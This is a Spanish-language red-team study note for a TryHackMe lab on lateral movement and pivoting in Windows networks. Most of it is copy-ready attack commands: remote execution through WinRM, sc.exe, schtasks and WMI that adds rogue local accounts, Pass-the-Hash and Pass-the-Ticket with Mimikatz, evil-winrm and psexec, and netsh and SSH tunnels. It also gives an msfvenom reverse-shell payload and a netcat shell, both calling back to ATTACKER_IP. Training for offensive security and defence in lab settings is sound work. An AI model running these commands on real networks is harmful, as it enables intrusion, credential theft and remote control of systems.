Movimiento lateral y pivoting
El movimiento lateral es el conjunto de técnicas que utilizan los atacantes para desplazarse progresivamente por la red hacia objetivos de mayor valor, generando el menor número de alertas…
Definición
El movimiento lateral es el conjunto de técnicas que utilizan los atacantes para desplazarse progresivamente por la red hacia objetivos de mayor valor, generando el menor número de alertas posible. Se apoya en credenciales comprometidas, material de autenticación alternativo (hashes, tickets) y herramientas administrativas legítimas de Windows.
Contexto
- Se asume que ya se dispone de credenciales válidas (obtenidas en fases anteriores) o hashes NTLM.
- Se recomienda pasar primero por The Lay of the Land (THM) y Post-Exploitation Enumeration (THM).
- Esta nota forma parte del Red Team Path (THM): sigue a Persistence (THM).
1. Movimiento lateral con WinRM
winrs (Windows Remote Shell)
winrs.exe -u:Administrator -p:Mypass123 -r:TARGET cmdPowerShell remoto con PSCredential
$username = 'Administrator'$password = 'Mypass123'$securePassword = ConvertTo-SecureString $password -AsPlainText -Force$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
# Sesión interactivaEnter-PSSession -ComputerName TARGET -Credential $credential
# Ejecución de comandos de forma remota (no interactiva)Invoke-Command -ComputerName TARGET -Credential $credential -ScriptBlock { whoami }Puertos requeridos: 5985/TCP (WinRM HTTP) o 5986/TCP (WinRM HTTPS) Grupos requeridos: Remote Management Users (o Administrators)
2. Movimiento lateral con servicios remotos (sc.exe)
El SCM (Service Control Manager) se conecta vía RPC (puertos 135/TCP + 49152-65535/TCP) o SMB (445/TCP, 139/TCP).
Crear y lanzar un servicio remoto
# Crear servicio en el host remotosc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
# Iniciar el servicio (ejecuta el comando binPath como SYSTEM)sc.exe \\TARGET start THMservice
# Limpiarsc.exe \\TARGET stop THMservicesc.exe \\TARGET delete THMservice⚠️ En PowerShell,
sces alias deSet-Content. Usar siempresc.exe.
Reverse shell via servicio remoto
# Generar payload exe-service (el SCM elimina ejecutables normales inmediatamente)msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=ATTACKER_IP LPORT=4444 -o myservice.exe
# Subir payload al share ADMIN$ del targetsmbclient -c 'put myservice.exe' -U DOMINIO\\usuario -W DOMINIO \ '//TARGET/admin$/' CONTRASEÑA# Listener en AttackBoxmsfconsole -q -x "use exploit/multi/handler; \ set payload windows/shell/reverse_tcp; \ set LHOST ATTACKER_IP; set LPORT 4444; exploit"# Ejecutar con credenciales alternativas usando runas /netonlyrunas /netonly /user:DOMINIO\usuario "C:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443"
# Crear servicio apuntando al payload subidosc.exe \\TARGET create THMservice-001 binPath= "%windir%\myservice.exe" start= autosc.exe \\TARGET start THMservice-001Grupos requeridos: Administrators
3. Movimiento lateral con tareas programadas remotas (schtasks)
# Crear tarea remota (ciega — no se ve output)schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" \ /tr "cmd.exe /c <payload>" /sc ONCE /sd 01/01/1970 /st 00:00
# Ejecutar inmediatamenteschtasks /s TARGET /run /TN "THMtask1"
# Limpiarschtasks /S TARGET /TN "THMtask1" /DELETE /F4. Movimiento lateral via WMI
WMI (Windows Management Instrumentation) es la implementación Windows de WBEM. Permite ejecutar procesos, crear servicios y tareas programadas de forma remota.
Establecer sesión WMI (DCOM o WSMan)
$username = 'Administrator'$password = 'Mypass123'$securePassword = ConvertTo-SecureString $password -AsPlainText -Force$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
# DCOM: RPC sobre IP (puertos 135 + 49152-65535)$Opt = New-CimSessionOption -Protocol DCOM$Session = New-CimSession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop
# WSMan: WinRM (puertos 5985/5986)$Opt = New-CimSessionOption -Protocol WSMan$Session = New-CimSession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction StopCrear proceso remoto vía WMI
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere"Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create \ -Arguments @{ CommandLine = $Command }
# Legacy (wmic desde CMD)wmic.exe /user:Administrator /password:Mypass123 /node:TARGET \ process call create "cmd.exe /c calc.exe"Crear servicio remoto vía WMI
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create \ -Arguments @{ Name = "THMService2" DisplayName = "THMService2" PathName = "net user munra2 Pass123 /add" ServiceType = [byte]::Parse("16") # Win32OwnProcess StartMode = "Manual" }
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service \ -filter "Name LIKE 'THMService2'"Invoke-CimMethod -InputObject $Service -MethodName StartService
# LimpiarInvoke-CimMethod -InputObject $Service -MethodName StopServiceInvoke-CimMethod -InputObject $Service -MethodName DeleteCrear tarea programada remota vía WMI
$Action = New-ScheduledTaskAction -CimSession $Session \ -Execute "cmd.exe" -Argument "/c net user munra3 Pass123 /add"Register-ScheduledTask -CimSession $Session -Action $Action \ -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"
# LimpiarUnregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"5. Uso de material de autenticación alternativo
Pass-the-Hash (PtH)
Usar un hash NTLM directamente sin conocer la contraseña en texto claro.
# evil-winrm (WinRM)evil-winrm -i TARGET -u Administrator -H <NT_HASH>
# Mimikatz (desde Windows)sekurlsa::pth /user:Administrator /domain:DOMINIO /ntlm:<NT_HASH> /run:cmd.exe
# impacket psexecpsexec.py -hashes :<NT_HASH> DOMINIO/Administrator@TARGETRestricción: PtH sólo funciona con cuentas cuyo hash no haya rotado. LocalAccountTokenFilterPolicy debe estar desactivada para cuentas locales.
Pass-the-Ticket (PtT) — Kerberos
Inyectar un ticket TGT o TGS robado:
# Volcar tickets con Mimikatzsekurlsa::tickets /export
# Inyectar ticketkerberos::ptt <ticket.kirbi>
# Verificarklist6. Pivoting (Tunneling)
Port Forwarding con netsh (Windows → Windows)
# En el host pivot: redirigir conexiones al puerto 80 del host internonetsh interface portproxy add v4tov4 \ listenport=80 listenaddress=0.0.0.0 \ connectport=80 connectaddress=INTERNAL_HOST
# Abrir regla de firewall si necesarionetsh advfirewall firewall add rule name="Pivot80" protocol=TCP \ dir=in localport=80 action=allow
# Limpiarnetsh interface portproxy delete v4tov4 listenport=80 listenaddress=0.0.0.0SSH Tunneling (desde Linux)
# Dynamic SOCKS proxy (proxychains para enrutar tráfico)ssh -D 9050 -N pivot_user@PIVOT_HOSTproxychains nmap -sV INTERNAL_TARGET
# Local port forwardssh -L LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT pivot_user@PIVOT_HOST
# Remote port forward (exponer servicio interno al atacante)ssh -R ATTACKER_PORT:INTERNAL_HOST:INTERNAL_PORT pivot_user@PIVOT_HOSTResumen de técnicas y puertos
| Técnica | Herramienta | Puertos |
|---|---|---|
| WinRM shell | winrs, Enter-PSSession | 5985/5986 TCP |
| Remote service | sc.exe | 135, 49152-65535, 445, 139 TCP |
| Remote schtask | schtasks | 135, 49152-65535 TCP |
| WMI (DCOM) | New-CimSession, wmic | 135, 49152-65535 TCP |
| WMI (WSMan) | New-CimSession | 5985/5986 TCP |
| Pass-the-Hash | evil-winrm, psexec, Mimikatz | Varía |
| Port Forwarding | netsh portproxy | Varía |
| SSH Tunneling | ssh -D/-L/-R | 22 TCP |
Pitfalls / Errores comunes
- Usar
scen PowerShell (alias deSet-Content) → siempresc.exe. - No limpiar servicios/tareas creadas remotamente → dejan rastro y pueden alertar al Blue Team.
- PtH no funciona si
LocalAccountTokenFilterPolicyestá activa para cuentas locales. - Generar payload con
-f exeen lugar de-f exe-service→ SCM lo elimina al inicio. - Olvidar abrir regla de firewall al hacer port forwarding con netsh.
Integración con otras notas
- Previo: Persistence (THM)
- Siguiente: Data Exfiltration (THM)
- Credenciales: Password Attacks (THM)
- C2 para callbacks: Command and Control (C2)
- AD Enumeration: Post-Exploitation Enumeration (THM)
- MITRE: TA0008 (Lateral Movement), T1021 (Remote Services), T1047 (WMI), T1550 (Use Alternate Auth Material)
Diagrama
flowchart TD
A[Credenciales / Hashes comprometidos] --> B{Técnica}
B --> C[WinRM: winrs / PSSession]
B --> D[sc.exe: servicio remoto]
B --> E[schtasks: tarea remota]
B --> F[WMI: DCOM / WSMan]
B --> G[Pass-the-Hash / Pass-the-Ticket]
C & D & E & F & G --> H[Ejecución en HOST REMOTO]
H --> I[Nuevo pivote]
I --> J[Pivoting: netsh / SSH tunnels]
J --> K[Acceso a red interna profunda]
Referencias
- TryHackMe — Lateral Movement: https://tryhackme.com/room/lateralmovementandpivoting
- Breaching AD (THM): https://tryhackme.com/room/breachingad
- Enumerating AD (THM): https://tryhackme.com/room/adenumeration
- Impacket (psexec, secretsdump): https://github.com/fortra/impacket
- Evil-WinRM: https://github.com/Hackplayers/evil-winrm
- MITRE TA0008 Lateral Movement: https://attack.mitre.org/tactics/TA0008/
- MITRE T1021 Remote Services: https://attack.mitre.org/techniques/T1021/